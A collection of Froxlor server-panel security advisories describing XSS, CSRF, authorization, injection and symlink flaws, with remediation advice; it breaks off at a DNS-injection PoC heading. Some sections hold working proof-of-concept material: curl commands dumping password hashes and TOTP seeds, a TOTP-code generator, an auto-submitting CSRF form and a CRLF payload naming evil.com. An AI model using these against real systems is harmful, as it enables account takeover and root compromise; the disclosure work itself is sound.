Froxlor 2.0.0 before 2.3.14 contains a stored cross-site scripting vulnerability that allows authenticated customers to inject HTML and JavaScript by setting a malicious theme value via customerindex.php. Script executes when an administrator views the customer overview with the Theme column enabled, letting attackers abuse the CSRF token to create administrator accounts or change server settings.

Froxlor 0.10.0 before 2.3.14 contains a missing authorization vulnerability that allows reseller accounts to read full-admin-only MySQL server and cronjob configuration via API read commands. Resellers can call MysqlServer.listing, MysqlServer.get, or Cronjobs.listing through api.php to obtain management usernames, hosts, ports, TLS settings, and cron metadata.

Froxlor before 2.3.14 contains an insecure direct object reference vulnerability in the email template editor (admintemplates.php) because the mail body is fetched by mailbodyid without an adminid ownership check. Authenticated reseller admins can pair their own subjectid with sequential foreign mailbodyid values in edit requests to read other admins' email templates, including the full administrator's.

Froxlor 0.10.0 before 2.3.14 contains a newline injection vulnerability that allows authenticated customers to inject arbitrary entries into the root-owned NSS group database via the unvalidated additionalmembers parameter of the Ftps.add API. Attackers can embed newline characters that the REBUILDNSSUSERS cron writes unsanitized into /var/lib/extrausers/group, creating privileged group entries for local privilege escalation.

Froxlor before 2.3.7 fails to properly scope sender alias lookups to the current customer in customeremail.php. Authenticated attackers can enumerate global sender alias IDs and read other customers' allowed sender values by supplying arbitrary senderid parameters in delete confirmation requests.

Froxlor before 2.3.7 fails to validate the mysqlserver parameter against a customer's allowedmysqlserver allowlist in the Mysqls.add API command. Attackers can supply a disallowed server index to create MySQL databases and users on forbidden servers, bypassing per-customer access controls.

Froxlor before 2.2.0 (affected up to and including 2.2.0-rc3) generates /etc/pure-ftpd/db/mysql.conf with mode 0644 via the XML configuration templates in lib/configfiles/, even though the file contains the Froxlor SQL user's password. On systems where the parent directories are world readable (the default on Debian 12), any unprivileged local user able to execute commands or code on the host — including virtual users without SSH access who can upload PHP/CGI scripts — can read the file and obtain the Froxlor database credentials. Database access can then be leveraged to alter an administrator's password hash and TOTP seed, log in as a Froxlor administrator, and ultimately gain root privileges. Only instances configured to use pure-ftpd are affected.

froxlor is a server administration panel. In versions 2.3.10 and earlier, Validate::validateUrl rejects carriage return and line feed characters only in the path, query and fragment components returned by parseurl, and never inspects the userinfo (user:pass@) components. This is an incomplete fix for GHSA-c3p2. An authenticated low-privilege customer with subdomain-create rights (no admin or changeserversettings privilege required) can supply a subdomain redirect URL that carries a CR/LF payload in the userinfo portion (e.g. http://user%0areturn 200 "pwned";%0a@evil.com/). The value passes validation, survives IDNA encoding, and is written verbatim into the generated nginx or Apache vhost configuration, allowing the attacker to break out of the emitted directive and inject arbitrary web-server configuration lines. froxlor regenerates and reloads the web-server configuration as root, so the injected directives take effect server-wide and can hijack responses or read local files. The issue is fixed in version 2.3.12.

Froxlor through 2.3.10 is vulnerable to arbitrary file deletion via symlink following in the FTP data deletion cron task. Cron task 8 (deleteFtpData), queued when an FTP account is deleted, calls FileDir::makeCorrectDir() without the $fixedhomedir argument, so the symlink component walk is skipped, and then executes 'rm -rf' as root on the resulting path with string-level guards only. Because makeCorrectDir() appends a trailing slash, GNU rm dereferences a symlink used either as an intermediate path component or as the final component. An authenticated customer who can write to the FTP home directory can plant a symlink between task insertion and cron execution, causing the root cron job to recursively delete arbitrary directory trees, resulting in cross-tenant data destruction and host denial of service. This issue is fixed in Froxlor 2.3.12.

froxlor versions before 2.3.12 fail to invalidate existing panel sessions, API keys, and 2FA trust cookies when a user password is changed. Attackers holding hijacked sessions, valid API keys, or 2FA trust tokens retain full account access after password rotation, bypassing incident response actions.

Froxlor is a server administration panel. In versions 2.3.10 and earlier, the customer data-export (DataDump) cron fails to validate intermediate path components of the export destination: Froxlor\FileDir::makeCorrectDir() contains an off-by-one in its path-component walk that skips the first segment below the customer home directory, and the guard in ExportCron.php checks only the final component with islink(). An authenticated customer whose account has the export feature enabled can schedule an export into a genuine subdirectory of their own webspace, then replace an intermediate path component with a symlink before the root-owned cron runs. The cron's chown -R then recursively changes ownership of the linked directory tree — for example /etc — to the customer's UID, yielding host root and cross-tenant compromise. Exploitation is deterministic and requires no race. This is an incomplete fix of GHSA-75h4-... The issue is fixed in Froxlor 2.3.12.

Froxlor before 2.3.13 returns the sslkeyfile column — which stores the raw PEM TLS private-key content — verbatim in the JSON responses of the Certificates.get and Certificates.listing API commands, because the results of the underlying domainsslsettings queries are passed through ApiCommand::response() without any field stripping or allowlist. A low-privileged authenticated customer API caller can retrieve the private keys of their own domains' certificates, including Let's Encrypt keys that Froxlor generates server-side and stores root-only (0600) and to which the customer otherwise has no filesystem access; reseller and customersseeall admin accounts can dump the private keys of other principals through the same sink. Disclosed keys enable domain impersonation, passive decryption of captured TLS traffic, and active machine-in-the-middle attacks.

froxlor through 2.3.10 disables a user's two-factor authentication immediately upon an unauthenticated-triggerable GET request to the 2FA management page (e.g. /customerindex.php?page=2fa&action=delete), with no confirmation, re-authentication, or CSRF token. The global CSRF middleware only covers POST/PUT/PATCH/DELETE requests, and the session cookie is set to SameSite=Lax, so a cross-site top-level navigation (link click or redirect) carries the victim's session and silently clears type2fa/data2fa. Both the customer and admin 2FA handlers are affected. An attacker who lures a logged-in panel user into following a crafted link reduces that account to password-only authentication, which can be chained with a compromised password for account takeover. Fixed in 2.3.12.

Froxlor through 2.3.10 does not enforce the mail.allowexternaldomains policy in the EmailSender.add API command. When an administrator has enabled the allowed-sender feature but disabled external allowed-sender domains (mail.enableallowsender = 1, mail.allowexternaldomains = 0), an authenticated customer with API access can still use EmailSender.add to register an arbitrary external sender address for their mailbox, which is stored despite the policy. This creates a bypass between the UI/administrator configuration and the API, and — where the generated mail configuration consumes the allowed-sender table — allows a customer to authorize sender identities outside their hosted domains, facilitating sender spoofing. Fixed in 2.3.12.

Froxlor before 2.3.12 does not restrict or escape the system.letsencryptchallengepath setting: unlike sibling settings hardened in GHSA-33mp, the field has no stringregexp or requiredotp guard, and its value is concatenated unescaped into the acme.sh command line built in lib/Froxlor/Cron/Http/LetsEncrypt/AcmeSh.php and executed by the root cron via FileDir::safeexec. Because safeexec only blacklists shell metacharacters such as ; | & > < \ $ ~ ?, spaces and quotes survive and the value is word-split into additional acme.sh arguments. An administrator, or any actor able to write settings (for example through the settings-import API), can therefore inject acme.sh options such as --renew-hook, --pre-hook or --post-hook to obtain arbitrary command execution as root at the next Let's Encrypt cron run, or use --config-home/--cert-home for arbitrary file writes. Versions up to and including 2.3.10 are affected; the issue is fixed in 2.3.12.

Froxlor 2.3.10 and earlier contain a time-of-check time-of-use (TOCTOU) race condition in the SSH key synchronization cron (lib/Froxlor/Cron/System/SshKeys.php, SshKeys::generateFiles). The containment/symlink validation performed by FileDir::makeCorrectDir()/makeCorrectFile() is done only at check time; the live filesystem path is re-resolved as root at write time (fileputcontents with FILEAPPEND|LOCKEX, followed by chmod/chown/chgrp), with a database round-trip and file reads in between, and no path or file-descriptor pinning (no ONOFOLLOW or openat2(RESOLVENOSYMLINKS)). On installations where the non-default setting system.allowcustomershell=1 grants customers local shell access, a customer can atomically swap their ~/.ssh directory for a symlink after the check and before the write, causing the root-run cron to append the customer's public key to /root/.ssh/authorizedkeys and to chown /root/.ssh to the customer, resulting in full root compromise of the panel host. The cron re-runs on every interval, allowing unlimited attempts. This is a residual race that bypasses the check-time fix introduced for GHSA-mq5v-... . The issue is fixed in Froxlor 2.3.12.

Froxlor 2.0.0 through 2.3.10 is vulnerable to stored cross-site scripting. When a customer (the lowest-privileged authenticated role) uploads an SSL certificate for one of their own domains, the Certificates API add()/update() methods parse it with opensslx509parse() and store the issuer organization (issuer['O']) value verbatim without sanitization. Froxlor's table-listing renderer then emits scalar cells through Twig's raw filter, disabling HTML auto-escaping, so when an administrator or reseller opens Domains > SSL certificates the attacker-supplied issuer value executes as script in the privileged user's session. This crosses a privilege boundary from customer to admin and can result in full administrator account takeover; because a Froxlor admin controls webserver, DNS, and PHP configuration applied by a cron job running as root, the issue can be further escalated to command execution as root on the managed server. The issue is fixed in Froxlor 2.3.12.

Froxlor through 2.3.10 does not filter sensitive columns from API responses: Domains::get(), Domains::listing(), SubDomains::get(), and the admin branch of SubDomains::listing() perform a wildcard SELECT over the paneldomains table and return the row unmodified, including the paneldomains.dkimprivkey field. An authenticated, non-superadmin admin holding the delegated customersseeall flag can therefore read the DKIM private signing keys of domains belonging to other tenants via Domains.get, Domains.listing, SubDomains.get, or SubDomains.listing, with a single listing call disclosing the key of every visible domain. The disclosed keys allow an attacker to sign email that passes DKIM verification and DMARC alignment for the affected domains. This is a follow-on to an incomplete fix that stripped password and data2fa but not dkimprivkey. The issue is fixed in 2.3.12.

Froxlor versions before 2.3.12 contain a credential disclosure vulnerability in the DirProtections.listing API command that returns htpasswd password hashes. Authenticated API users can retrieve bcrypt password hashes for protected-directory users, enabling offline cracking attempts and exposure of reused credentials.

Froxlor through 2.3.10 stores only a numeric user ID in remembered-2FA tokens (panel2fatokens) without recording the account namespace, and the remembered-token lookup during login is not constrained to the customer or administrator account type. Because customer and administrator IDs are allocated from separate namespaces, a remembered-2FA token legitimately issued to a customer with a given ID also matches an administrator with the same ID. An attacker who controls a customer account with a colliding ID, holds a valid remembered-2FA cookie for it, and already knows the target administrator's password can bypass the administrator's TOTP second factor and obtain an authenticated administrator session. This is a second-factor bypass only; it does not defeat password authentication. Fixed in 2.3.12.

Froxlor before 2.3.12 fails to properly validate multi-line SSH public keys in the SshKeys::add() endpoint, allowing customers to inject arbitrary lines into authorizedkeys files. Attackers can inject malicious SSH key entries with option directives to gain persistent unauthorized access that survives key deletion and SSH access revocation.

froxlor versions before 2.2.5 fail to validate newline characters in subdomain redirect URLs, allowing authenticated customers to inject arbitrary nginx or Apache configuration directives. Attackers can supply URLs containing literal newlines that are written verbatim into vhost config files during cron rebuild, enabling web server configuration corruption, denial of service, or hijacking of HTTP responses across hosted domains.

Froxlor is open source server administration software. Prior to 2.3.8, the DomainZones.add API command in lib/Froxlor/Api/Commands/DomainZones.php accepts user-controlled record and type values without rejecting line delimiters, tab characters, semicolons, or unsupported DNS record types before lib/Froxlor/Dns/DnsEntry.php serializes the values into a BIND zone file. An authenticated customer with DNS-zone permissions can place a crafted value in the record field, or use the related type-field variant, to create additional resource-record lines that bypass Froxlor's field-level validation. BIND accepts the injected records, allowing modification of DNS data and possible DNS availability impact within a zone the caller is authorized to manage. This issue is fixed in version 2.3.8.

Summary

Several Froxlor API command classes return sensitive authentication material in JSON API responses. The affected endpoints retrieve full database rows using SELECT , SELECT alias., or equivalent full-row queries, then return the results directly through $this->response(...) without removing credential-related fields.

The exposed fields include password hashes for customers, administrators, and FTP users, as well as TOTP 2FA seed material for administrator and customer accounts.

This exposes credential-equivalent data to API clients that should not receive it. Password hashes can be cracked offline and reused for account takeover, while exposed TOTP seeds allow generation of valid 2FA codes for affected accounts. When both a password hash and TOTP seed are exposed for the same account, the vulnerability can defeat both authentication factors if the password hash is cracked or the password is otherwise obtained.

Details

The affected API classes retrieve entire database rows and return them without filtering sensitive fields:

lib/Froxlor/Api/Commands/Customers.php

Customers.get() and Customers.listing() select and return customer rows containing sensitive fields, including:

password type2fa data2fa

When type2fa = 2, the data2fa value represents the Base32-encoded TOTP seed used by the customer's authenticator application.

The result is returned through $this->response($result) or $this->response(['list' => $result]) without removing these fields.

lib/Froxlor/Api/Commands/Admins.php

Admins.get() and Admins.listing() return administrator rows containing sensitive fields, including:

password type2fa data2fa

When type2fa = 2, the data2fa value represents the Base32-encoded TOTP seed used by the administrator's authenticator application.

These fields are not stripped before returning the API response.

lib/Froxlor/Api/Commands/Ftps.php

Ftps.get() and Ftps.listing() return FTP user rows containing:

password

The password field is not stripped before returning the API response.

This behavior appears inconsistent with Froxlor's existing safe response patterns. For example, other API command classes explicitly remove password-related fields before returning responses. This indicates that credential material and sensitive internal fields are already treated as non-response data in other parts of the product.

Proof of Concept

Preconditions

Froxlor API is enabled. A valid API key and secret exist for an account allowed to call the affected API endpoints. At least one customer or administrator account exists with TOTP 2FA enabled. For Admins., the API account must have the required permission to call the affected administrator endpoint.

Set variables:

bash export FROXLORBASE='https://froxlor.example.com' export APIKEY='<apikey>' export APISECRET='<apisecret>'

PoC 1: Customer password hash and TOTP seed exposure

bash curl -k -sS -u "$APIKEY:$APISECRET" \ -H 'Content-Type: application/json' \ -X POST \ -d '{"command":"Customers.listing","params":{}}' \ "$FROXLORBASE/api.php" | jq '.data.list[] | {customerid, loginname, password, type2fa, data2fa, email}'

Example vulnerable response:

json { "customerid": 1, "loginname": "customer1", "password": "$2y$12$REDACTEDHASHVALUE...", "type2fa": 2, "data2fa": "REDACTEDBASE32TOTPSEED", "email": "customer@example.com" }

The same issue can be verified with Customers.get:

bash curl -k -sS -u "$APIKEY:$APISECRET" \ -H 'Content-Type: application/json' \ -X POST \ -d '{"command":"Customers.get","params":{"id":1}}' \ "$FROXLORBASE/api.php"

PoC 2: Administrator password hash and TOTP seed exposure

bash curl -k -sS -u "$APIKEY:$APISECRET" \ -H 'Content-Type: application/json' \ -X POST \ -d '{"command":"Admins.listing","params":{}}' \ "$FROXLORBASE/api.php" | jq '.data.list[] | {adminid, loginname, password, type2fa, data2fa}'

Example vulnerable response:

json { "adminid": 1, "loginname": "admin", "password": "$2y$12$REDACTEDHASHVALUE...", "type2fa": 2, "data2fa": "REDACTEDBASE32TOTPSEED" }

The same issue can be verified with Admins.get:

bash curl -k -sS -u "$APIKEY:$APISECRET" \ -H 'Content-Type: application/json' \ -X POST \ -d '{"command":"Admins.get","params":{"id":1}}' \ "$FROXLORBASE/api.php"

PoC 3: FTP password hash exposure

bash curl -k -sS -u "$APIKEY:$APISECRET" \ -H 'Content-Type: application/json' \ -X POST \ -d '{"command":"Ftps.listing","params":{}}' \ "$FROXLORBASE/api.php" | jq '.data.list[] | {id, username, password}'

Example vulnerable response:

json { "id": 1, "username": "customer1", "password": "$2y$12$REDACTEDHASHVALUE..." }

The same issue can be verified with Ftps.get:

bash curl -k -sS -u "$APIKEY:$APISECRET" \ -H 'Content-Type: application/json' \ -X POST \ -d '{"command":"Ftps.get","params":{"id":1}}' \ "$FROXLORBASE/api.php"

PoC 4: Generate a valid TOTP code from the exposed seed

If type2fa = 2, the exposed data2fa value can be used to generate valid TOTP codes for the affected account.

bash export TOTPSEED='<base32totpseedfromdata2fa>'

python3 - <<'PY' import base64 import hashlib import hmac import os import struct import time

seed = os.environ["TOTPSEED"].replace(" ", "").upper() key = base64.b32decode(seed + "=" ((8 - len(seed) % 8) % 8))

counter = int(time.time() // 30) msg = struct.pack(">Q", counter)

digest = hmac.new(key, msg, hashlib.sha1).digest() offset = digest[-1] & 0x0F code = struct.unpack(">I", digest[offset:offset + 4])[0] & 0x7fffffff

print(str(code % 1000000).zfill(6)) PY

The generated six-digit value is a valid TOTP code for the affected account during the current TOTP time window.

Expected behavior

API responses should never include password hashes, TOTP seeds, or other credential-equivalent authentication material in normal get or listing responses.

At minimum, the following fields should be omitted or redacted before returning API responses:

password data2fa any future credential-equivalent secret fields

Impact

An authenticated API user can retrieve credential material for accounts visible through the affected endpoints.

For password hashes, an attacker can perform offline cracking. If a weak or reused password is recovered, the attacker can authenticate as the affected customer, administrator, or FTP user. This may lead to unauthorized access to the hosting panel, FTP file access, hosted website modification, mail or database management, and lateral movement inside a shared-hosting environment.

For TOTP 2FA seeds, an attacker can generate valid one-time codes for affected administrator or customer accounts. TOTP seeds are long-lived secrets and remain valid until 2FA is reset. Exposure of data2fa therefore weakens or bypasses the second authentication factor for affected accounts.

The combined impact is especially severe when both password and data2fa are exposed for the same administrator or customer account. In that case, an attacker can attempt to crack the password hash offline and then use the exposed TOTP seed to generate valid 2FA codes, defeating both factors of authentication.

Administrator credential material is particularly sensitive because compromise of an administrator account may allow privileged panel actions and access to server-level or customer-level hosting configuration. Customer and FTP credential material is also sensitive because it may allow unauthorized access to hosted content and account-specific resources.

Remediation

API responses should be built from explicit allowlists of safe response fields instead of returning full database rows. Sensitive fields such as password and data2fa should never be included in normal get or listing responses.

As a tactical fix, remove or redact credential-equivalent fields before calling $this->response(...) in the affected API command classes.

As an architectural fix, introduce centralized response serialization for API models so that sensitive fields are consistently excluded across all endpoints. This should include password hashes, TOTP seeds, recovery secrets, API secrets, tokens, private keys, and any future authentication material.

Because TOTP seeds may have been exposed, affected installations should consider requiring 2FA reset or rotation for accounts whose data2fa values may have been returned through vulnerable API responses.

Summary

The Froxlor AJAX endpoint (lib/ajax.php) is missing Cross-Site Request Forgery (CSRF) protection. While the main application (lib/init.php) enforces CSRF token validation on all state-changing HTTP requests (POST/PUT/PATCH/DELETE), the standalone lib/ajax.php endpoint bypasses this mechanism entirely, validating only the user's session. An attacker can craft a malicious webpage that, when visited by an authenticated Froxlor administrator, silently modifies API key properties (e.g., adding the attacker's IP to the allowedfrom whitelist or extending the validuntil expiration).

---

Affected Component

- File: lib/ajax.php — the AJAX endpoint entry point (bypasses lib/init.php) - File: lib/Froxlor/Ajax/Ajax.php:66-92 — Ajax::handle() (no CSRF check before routing) - File: lib/Froxlor/Ajax/Ajax.php:257-315 — Ajax::editApiKey() (writes to database without CSRF check) - Version: Froxlor 2.3.7 (likely all prior 2.x versions)

---

Complete Call Chain: Entry Point → Vulnerable Code

Step 1: Entry Point — lib/ajax.php (standalone bootstrap, bypasses lib/init.php)

php // lib/ajax.php:26-47 namespace Froxlor;

use Froxlor\Ajax\Ajax;

requireonce dirname(DIR) . '/vendor/autoload.php'; requireonce dirname(DIR) . '/lib/userdata.inc.php'; requireonce dirname(DIR) . '/lib/functions.php'; requireonce dirname(DIR) . '/lib/tables.inc.php';

// CRITICAL: This file does NOT include lib/init.php // Therefore: NO CSRF token is checked before processing the request echo (new Ajax)->handle();

Contrast with normal flow: All admin/customer pages (e.g., admincustomers.php, customerdomains.php) do: php const AREA = 'admin'; require DIR . '/lib/init.php'; // <-- This enforces CSRF at lines 363-369

Step 2: Ajax Constructor — Session Created, No CSRF Check

php // lib/Froxlor/Ajax/Ajax.php:54-61 public function construct() { $this->action = Request::any('action'); // <-- User-controlled from GET/POST $this->theme = Request::any('theme', 'Froxlor');

UI::sendHeaders(); // Starts session, sets security headers UI::sendSslHeaders(); // HSTS headers // MISSING: CSRF token validation on POST/PUT/PATCH/DELETE }

Step 3: Ajax::handle() — Session Validation Only, Routes to Action

php // lib/Froxlor/Ajax/Ajax.php:66-92 public function handle() { $this->userinfo = $this->getValidatedSession(); // Only checks: isset($SESSION['userinfo']) // MISSING: CSRF token validation before routing // Comparison: init.php lines 363-369 WOULD check here: // if (inarray($SERVER['REQUESTMETHOD'], ['POST', 'PUT', 'PATCH', 'DELETE'])) { // $currenttoken = Request::post('csrftoken', ...); // if ($currenttoken != CurrentUser::getField('csrftoken')) { ERROR; } // }

switch ($this->action) { case 'editapikey': return $this->editApiKey(); // <-- State-changing operation, no CSRF guard case 'updatetablelisting': return $this->updateTablelisting(); // <-- Also POST, also no CSRF // ... other cases } }

Step 4: getValidatedSession() — Only Checks Session Exists

php // lib/Froxlor/Ajax/Ajax.php:97-103 private function getValidatedSession(): array { if (CurrentUser::hasSession() == false) { throw new Exception("No valid session"); } return CurrentUser::getData(); // hasSession() implementation (CurrentUser.php:47-50): // return !empty($SESSION) && !empty($SESSION['userinfo']); // This ONLY verifies a session exists. // It does NOT verify the request origin or CSRF token. }

Step 5: editApiKey() — Database Mutation Without Origin Validation

php // lib/Froxlor/Ajax/Ajax.php:257-315 private function editApiKey() { // All three parameters come from attacker-controlled POST body: $keyid = Request::post('id', 0); // Source: $POST['id'] $allowedfrom = Request::post('allowedfrom', ""); // Source: $POST['allowedfrom'] $validuntil = Request::post('validuntil', ""); // Source: $POST['validuntil']

// ... IP format validation (not security-relevant for CSRF) ...

// SINK: Direct database mutation $updstmt = Database::prepare(" UPDATE apikeys SET validuntil = :vu, allowedfrom = :af WHERE id = :keyid AND adminid = :aid AND customerid = :cid "); Database::pexecute($updstmt, [ 'keyid' => $keyid, 'af' => $allowedfrom, // Attacker's IP written here 'vu' => $validuntildb, // -1 = never expires 'aid' => $this->userinfo['adminid'], 'cid' => $cid ]); return $this->jsonResponse(['allowedfrom' => $allowedfrom, 'validuntil' => $validuntil]); }

Step 6: Evidence from Legitimate Frontend — No CSRF Token Sent Even in Normal Usage

javascript // templates/Froxlor/assets/js/jquery/apikeys.js:9-17 // Even the legitimate frontend does NOT send a csrftoken: $.ajax({ url: "lib/ajax.php?action=editapikey", type: "POST", dataType: "json", data: { id: akid, allowedfrom: this.val(), validuntil: $('div[data-entry="' + akid + '"] #validuntil').val() // NOTE: No csrftoken field here — the backend doesn't require it }, // ... });

This confirms: the backend does not validate CSRF tokens, so the frontend code does not bother sending one.

---

CSRF Protection Gap: Side-by-Side Comparison

| Aspect | lib/init.php (Normal Pages) | lib/ajax.php (AJAX Endpoint) | |--------|------------------------------|-------------------------------| | Includes init.php | Yes (all admin.php, customer.php) | No — standalone bootstrap | | Session validation | ✅ CurrentUser::hasSession() | ✅ CurrentUser::hasSession() | | CSRF token generation | ✅ Froxlor::genSessionId(20) | ❌ Not generated | | CSRF token check (POST/PUT/PATCH/DELETE) | ✅ Lines 363-369 | ❌ Missing entirely | | Rate limiting | ✅ RateLimiter::run() | ❌ Not called | | Area enforcement | ✅ Admin/Customer area check | ❌ Not enforced |

---

Vulnerability Verification

Attack Path (Complete)

[Attacker] Hosts malicious HTML page at https://attacker.com/csrf.html

<form id="csrf" action="https://froxlor.example.com/lib/ajax.php?action=editapikey" method="POST"> <input type="hidden" name="id" value="1"> <input type="hidden" name="allowedfrom" value="ATTACKERIP"> <input type="hidden" name="validuntil" value="-1"> </form> <script>document.getElementById('csrf').submit();</script>

│ ▼ [Victim] Froxlor administrator browses to https://attacker.com/csrf.html - Victim has an active session at https://froxlor.example.com - Session cookie: PHPSESSID=<valid>, SameSite=Lax │ ▼ [Browser] Auto-submits POST to https://froxlor.example.com/lib/ajax.php?action=editapikey - Cookie behavior depends on SameSite policy (see below) │ ▼ [Server: lib/ajax.php] → require userdata.inc.php, functions.php, tables.inc.php → (new Ajax)->handle() │ ▼ [Server: Ajax::construct()] (Ajax.php:54-61) → $this->action = 'editapikey' (from GET query string) → UI::sendHeaders() → sessionstart() → NO CSRF CHECK │ ▼ [Server: Ajax::handle()] (Ajax.php:66-68) → getValidatedSession() → CurrentUser::hasSession() → TRUE (session cookie was sent with request) → NO CSRF CHECK before routing │ ▼ [Server: Ajax::editApiKey()] (Ajax.php:257-315) → $keyid = 1 (from POST) → $allowedfrom = 'ATTACKERIP' (from POST) → $validuntildb = -1 (from POST, parsed) → UPDATE apikeys SET allowedfrom='ATTACKERIP', validuntil=-1 WHERE id=1 │ ▼ [Impact] API key #1 now allows connections from ATTACKERIP, never expires

SameSite=Lax Analysis

Froxlor sets session cookie with SameSite=Lax (UI.php:124):

php // lib/Froxlor/UI/Panel/UI.php:118-125 sessionsetcookieparams([ 'path' => '/', 'domain' => self::getCookieHost(), 'secure' => self::requestIsHttps(), // FALSE on HTTP deployments 'httponly' => true, 'samesite' => 'Lax' ]); sessionstart();

Why SameSite=Lax is NOT a complete mitigation:

1. HTTP deployments: When requestIsHttps() returns false (plain HTTP), the secure flag is false. Many browsers (particularly older Safari and Firefox) require Secure for strict SameSite enforcement. Froxlor's own documentation supports HTTP deployment for internal networks, making this a realistic scenario.

2. Safari browser: Safari's SameSite implementation has known inconsistencies. Safari 13-15 on iOS/macOS may not enforce SameSite=Lax on POST requests as strictly as Chrome.

3. Same-site subdomain attacks: If an attacker compromises a subdomain of the same registrable domain (e.g., via DNS rebinding or subdomain takeover), SameSite=Lax provides zero protection — cookies are sent freely.

4. Defense-in-depth failure: CSRF tokens are the primary, proven defense against CSRF. SameSite cookies are a secondary defense. The absence of the primary defense leaves the application vulnerable whenever the secondary defense fails (browser bugs, HTTP deployments, subdomain attacks).

Confirmed Vulnerable Actions in Ajax::handle()

All POST-based actions in the switch statement lack CSRF protection:

| Action | Method | State Change | Risk | |--------|--------|-------------|------| | editapikey | POST | UPDATE apikeys SET allowedfrom, validuntil | HIGH | | updatetablelisting | POST | UPDATE panelusercolumns (user preferences) | Low | | getConfigDetails | POST | Read-only (config parsing) | None |

---

Impact

- Confidentiality: None — the attacker cannot directly read data through this CSRF vector - Integrity: Medium — API key properties (allowedfrom, validuntil) can be modified to add the attacker's IP to the whitelist and extend validity indefinitely. This is a stepping stone to API access (combined with another attack to obtain the API secret, such as VULN-20260526-001 plaintext secret storage). - Availability: Low — the attacker could set validuntil to a past timestamp, disabling the API key

Worst-case scenario: An administrator-level API key has its allowedfrom expanded to include the attacker's IP and its validuntil set to -1 (never expires). If the attacker later obtains the plaintext API secret (e.g., via database backup exposure — see VULN-20260526-001), they gain persistent, unauthorized API access with administrator privileges.

---

Proof of Concept

PoC HTML File

html <!-- csrfpoc.html --> <!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <title>CSRF PoC - Froxlor AJAX Endpoint</title> </head> <body> <h1>Cross-Site Request Forgery Proof of Concept</h1> <p>Target: Froxlor AJAX endpoint (lib/ajax.php?action=editapikey)</p> <p>If you see this page, the form has auto-submitted.</p>

<!-- This form auto-submits to modify API key properties --> <form id="csrf-form" action="http://froxlor.example.com/lib/ajax.php?action=editapikey" method="POST"> <input type="hidden" name="id" value="1"> <input type="hidden" name="allowedfrom" value="10.99.99.99"> <input type="hidden" name="validuntil" value=""> <!-- empty validuntil = -1 (never expires) --> </form>

<script> // Auto-submit on page load document.addEventListener('DOMContentLoaded', function() { document.getElementById('csrf-form').submit(); }); </script> </body> </html>

Reproduction Steps

1. Setup: - Deploy Froxlor 2.3.7 on a test server (e.g., http://192.168.1.100/) - Create an administrator account and log in - Create at least one API key (Settings → API Keys)

2. Prepare PoC: - Host the PoC HTML file on a different origin (e.g., http://attacker.local/csrfpoc.html) - Note the Froxlor server is on http:// (not HTTPS, common for internal deployments)

3. Execute: - Ensure the Froxlor administrator has an active session - Open the PoC HTML file in the same browser (different tab) - The form auto-submits

4. Verify: - Check the API key in the Froxlor admin panel - The allowedfrom field now contains 10.99.99.99 - The validuntil field shows no expiration - Or verify directly: SELECT id, allowedfrom, validuntil FROM apikeys WHERE id=1;

Expected Result

Before attack: id | allowedfrom | validuntil 1 | | 1735689600

After attack: id | allowedfrom | validuntil 1 | 10.99.99.99 | -1

---

Root Cause

The lib/ajax.php endpoint was implemented as a completely standalone entry point that initializes its own minimal environment. It does not include lib/init.php, which provides centralized security controls (CSRF validation, rate limiting, area enforcement) for all standard admin and customer pages.

Architecturally, there are two security enforcement paths: 1. Normal pages: admin.php → require lib/init.php → CSRF check ✅ 2. AJAX endpoint: lib/ajax.php → new Ajax()->handle() → CSRF check ❌

The Ajax class performs its own session validation (getValidatedSession()) but omits CSRF token verification entirely. The legitimate frontend JavaScript code (apikeys.js) also does not send a CSRF token because the backend does not require one.

---

Fix Recommendation

Option A (Recommended): Route AJAX Through init.php

Refactor lib/ajax.php to use the standard bootstrap, ensuring all security controls apply uniformly:

php // lib/ajax.php — Refactored const AREA = 'ajax'; require DIR . '/init.php';

use Froxlor\Ajax\Ajax;

try { echo (new Ajax)->handle(); } catch (Exception $e) { header("Content-Type: application/json"); echo \Froxlor\Api\Response::jsonErrorResponse($e->getMessage(), 500); }

Pros: All security controls (CSRF, rate limiting, session management, area enforcement) apply uniformly. No code duplication. Cons: Requires frontend changes to include CSRF token in AJAX requests.

Option B (Minimal): Add CSRF Check to Ajax Class

Add CSRF token validation directly in the Ajax class:

diff // lib/Froxlor/Ajax/Ajax.php

public function handle() { $this->userinfo = $this->getValidatedSession();

+ // CSRF Protection — mirror init.php:363-369 + if (inarray($SERVER['REQUESTMETHOD'], ['POST', 'PUT', 'PATCH', 'DELETE'])) { + $tokenfromrequest = Request::post('csrftoken', + $SERVER['HTTPXCSRFTOKEN'] ?? null); + $storedtoken = $this->userinfo['csrftoken'] ?? ''; + if (empty($tokenfromrequest) || !hashequals($storedtoken, $tokenfromrequest)) { + return $this->errorResponse('CSRF validation failed', 403); + } + }

switch ($this->action) { // ... existing cases unchanged } }

Frontend changes required (for both options):

diff // templates/Froxlor/assets/js/jquery/apikeys.js $.ajax({ url: "lib/ajax.php?action=editapikey", type: "POST", dataType: "json", data: { id: akid, allowedfrom: this.val(), validuntil: $('div[data-entry="' + akid + '"] #validuntil').val(), + csrftoken: $('meta[name="csrf-token"]').attr('content') }, // ... });

CSRF Token Available in Twig Templates

The CSRF token is already available as a Twig global variable ({{ csrftoken }}) set in init.php:361. Templates can expose it via:

html <meta name="csrf-token" content="{{ csrftoken }}">

---

Summary

The DomainZones.add API endpoint (accessible to customers with DNS enabled) does not validate the content field for several DNS record types (LOC, RP, SSHFP, TLSA). An attacker can inject newlines and BIND zone file directives (e.g. $INCLUDE) into the zone file that gets written to disk when the DNS rebuild cron job runs.

Affected Code

lib/Froxlor/Api/Commands/DomainZones.php, lines 213-214, 253-254, 290-291, 292-293:

php } elseif ($type == 'LOC' && !empty($content)) { $content = $content; // no validation } ... } elseif ($type == 'RP' && !empty($content)) { $content = $content; // no validation } ... } elseif ($type == 'SSHFP' && !empty($content)) { $content = $content; // no validation } elseif ($type == 'TLSA' && !empty($content)) { $content = $content; // no validation }

There is even a TODO comment at line 148 acknowledging this gap: php // TODO regex validate content for invalid characters

The content is then written directly into the BIND zone file via DnsEntry::toString() (line 83 of lib/Froxlor/Dns/DnsEntry.php):

php return $this->record . "\t" . $this->ttl . "\t" . $this->class . "\t" . $this->type . "\t" ... . $content . PHPEOL;

And the zone file is written to disk in lib/Froxlor/Cron/Dns/Bind.php line 121:

php fwrite($zonefilehandler, $zoneContent . $subzones);

PoC

As a customer with DNS management enabled and an API key, add a LOC record with injected BIND directives:

